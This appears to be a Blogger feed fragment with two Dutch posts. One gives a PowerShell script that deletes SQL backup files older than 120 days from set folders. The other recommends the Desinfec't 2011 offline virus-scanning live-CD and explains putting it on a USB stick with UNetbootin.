<a name='more'></a><code><br />#----- Remove files older dan this age ----#<br />$Age = "120" # dagen<br />#----- Remove files in these folders ----#<br />$TargetFolders = @("E:\VIMSQL\Backup","E:\VIEWSQL\Backup")<br />#----- Remove files of this type ----#<br />$Extensions = @("*.bak", "*.bla")<br />#----- Compute mark date based on age ---#<br />$DateMark = $(Get-Date).AddDays(-$Age)<br /><br /><br />#----- get files based on lastwrite filter and specified folder ---#<br />Write-Host "Let's roll!"<br />foreach ($TargetFolder in $TargetFolders) <br />{<br /> foreach ($file in Get-Childitem $TargetFolder -Include $Extensions -Recurse | Where {$_.LastWriteTime -le $DateMark})<br /> {<br /> write-host "Deleting File $File" -ForegroundColor "DarkRed"<br /> Remove-Item $File.FullName <br /> }<br />}</code><br />
<code><br />
</code>Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-35968163535660366082012-02-07T01:55:00.000-08:002014-10-21T08:13:49.728-07:00Desinfec`t 2011 Offline virusscanner<a href="http://1.bp.blogspot.com/-sm1gJG08k4I/TzD0WuhBc3I/AAAAAAAAAK4/5yMmFbK5zFs/s1600/deinfect-01973058f3168785.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="http://1.bp.blogspot.com/-sm1gJG08k4I/TzD0WuhBc3I/AAAAAAAAAK4/5yMmFbK5zFs/s1600/deinfect-01973058f3168785.png" /></a>De geweldige offline virusscanner van C`t , <a href="http://www.heise.de/ct/projekte/Desinfec-t-2011-1213110.html">Desinfec`t </a>is feitelijk een Ubuntu Linux live-CD met 3 virusscanners aan boord en NTFS-ondersteuning, waarmee je je computer start en vervolgens je Windowsschijf kun scannen. Een netwerkverbinding is nodig voor het ophalen van bijgewerkte virusdefinities voor de virusscanners. De CD kun je ook op een USB-flash drive kopieren, zodat je een <br />
<a name='more'></a>computer kunt starten vanaf een USB-stick. Een extra mogelijkheid die de USB-stick biedt is dat je een deel kunt toewijzen aan "persistent" opslag. Wijzigingen in de Live-bestandssysteem (een virusscan-log opslaan) worden gaan dan niet verloren tussen reboots en worden hierin opgeslagen. De utility voor het kopieren van de ISO-image naar USB-stick is de welbekende <a href="http://unetbootin.sourceforge.net/">UNetbootin</a> . Veel plezier!Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0